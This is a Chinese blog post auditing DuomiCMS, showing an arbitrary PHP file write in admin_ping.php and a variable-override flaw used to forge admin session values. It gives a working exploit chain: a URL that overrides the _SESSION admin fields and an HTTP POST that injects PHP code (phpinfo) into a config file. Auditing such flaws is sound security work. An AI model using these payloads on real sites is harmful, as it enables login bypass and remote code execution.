zoukankan      html  css  js  c++  java
  • PHP审计之Duomicms审计

    PHP审计之Duomicms审计

    前言

    废话不多说,开冲

    代码审计

    任意文件写入

    定位漏洞代码admin/admin_ping.php

    if($action=="set")
    {
       $weburl= $_POST['weburl'];
       $token = $_POST['token'];
       $open=fopen("../data/admin/ping.php","w" );
       $str='<?php ';
       $str.='$weburl = "';
       $str.="$weburl";
       $str.='"; ';
       $str.='$token = "';
       $str.="$token";
       $str.='"; ';
       $str.=" ?>";
       fwrite($open,$str);
       fclose($open);
    }
    

    这个地方比较简单,接收action参数为set,即走入这个判断。直接写入了一个php文件,写入php内容$weburl

    SESSION覆盖

    经常导致变量覆盖漏洞场景有:
    $$使用不当,extract()函数使用不当,parse_str()函数使用不当import_request_variables()使用不当,开启了全局变量注册等。

    这里包含了config.php

    看到config.php代码

    define('duomi_ADMIN', preg_replace("|[/\]{1,}|",'/',dirname(__FILE__) ) );
    require_once(duomi_ADMIN."/../duomiphp/common.php");
    require_once(duomi_INC."/check.admin.php");
    require_once(duomi_ADMIN."/api/Snoopy.class.php");
    
    ...
        
    $cuserLogin = new userLogin();
    if($cuserLogin->getUserID()==-1)
    {
    	header("location:login.php?gotopage=".urlencode($EkNowurl));
    	exit();
    }
    

    做了鉴权,来看看这个鉴权具体是怎么实现的。

    来到userLogin类中

    class userLogin
    {
    	var $userName = '';
    	var $userPwd = '';
    	var $userID = '';
    	var $adminDir = '';
    	var $groupid = '';
    	var $keepUserIDTag = "duomi_admin_id";
    	var $keepgroupidTag = "duomi_group_id";
    	var $keepUserNameTag = "duomi_admin_name";
    
    	//php5构造函数
    	function __construct($admindir='')
    	{
    		global $admin_path;
    		if(isset($_SESSION[$this->keepUserIDTag]))
    		{
    			$this->userID = $_SESSION[$this->keepUserIDTag];
    			$this->groupid = $_SESSION[$this->keepgroupidTag];
    			$this->userName = $_SESSION[$this->keepUserNameTag];
    		}
            ...
    

    $_SESSION中分别取duomi_admin_idduomi_group_idduomi_admin_name

    见名知意,即对应的 用户名字、所属组、用户

    来到login.php,即checkUser方法被调用的地方。

    $cuserLogin = new userLogin($admindir);
    		if(!empty($userid) && !empty($pwd))
    		{
    			$res = $cuserLogin->checkUser($userid,$pwd);
    
    			//success
    			if($res==1)
    			{
    				$cuserLogin->keepUser();
    				if(!empty($gotopage))
    				{
    					ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
    					exit();
    				}
    				else
    				{
    					ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
    					exit();
    				}
    			}
    

    只需要$res等于1的话,即认证通过。

    checkUser方法

    function checkUser($username,$userpwd)
    	{
    		global $dsql;
    
    		//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
    		$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!.-]",'',$username);
    		$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!.-]",'',$userpwd);
    		$pwd = substr(md5($this->userPwd),5,20);
    		$dsql->SetQuery("Select * From `duomi_admin` where name like '".$this->userName."' and state='1' limit 0,1");
    		$dsql->Execute();
    		$row = $dsql->GetObject();
    		if(!isset($row->password))
    		{
    			return -1;
    		}
    		else if($pwd!=$row->password)
    		{
    			return -2;
    		}
    

    变量的位置在 common.php

    看一看使用这个变量覆盖需要满足的条件

    foreach($_REQUEST as $_k=>$_v)
    {
       if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
       {
          exit('Request var not allow!');
       }
    }
    

    1.必须要有传参 2.正则匹配不能有cfg_和GLOBALS 3.不能有cookie某个值传参

    $$变量覆盖漏洞

    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
    	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
    }
    

    现在需要寻找一个session_start开启的地方,结合变量覆盖漏洞利用。

    这时候结合到上面分析的鉴权实现得知鉴权是从$SESSION中获取了

    duomi_admin_idduomi_group_idduomi_admin_name这三个变量,构造poc覆盖这三个变量即可。

    /interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
    
    POST /admin/admin_ping.php?action=set HTTP/1.1
    Host: 192.168.8.104:8013
    Content-Length: 38
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.8.104:8013
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.8.104:8013/admin/admin_ping.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6
    Cookie: PHPSESSID=e1mlfmpf2knhvg6doj5gt2jqd6
    Connection: close
    
    weburl=";phpinfo();//"&token=123456789
    

    参考

  • 相关阅读:
    Shiro自定义密码匹配认证
    logback 发送邮件和自定义发送邮件;java类发送邮件
    webVR全景图多种方案实现(pannellum,aframe,Krpano,three,jquery-vrview)
    前端接受后端文件流并下载的几种方法
    回流(reflow)与重绘(repaint)
    JS数组去重的几种常见方法
    React 生命周期
    浅谈React工作原理
    如何在Vue项目中使用vw实现移动端适配
    移动端web整理 移动端问题总结,移动web遇到的那些坑
  • 原文地址:https://www.cnblogs.com/nice0e3/p/15401118.html
Copyright © 2011-2022 走看看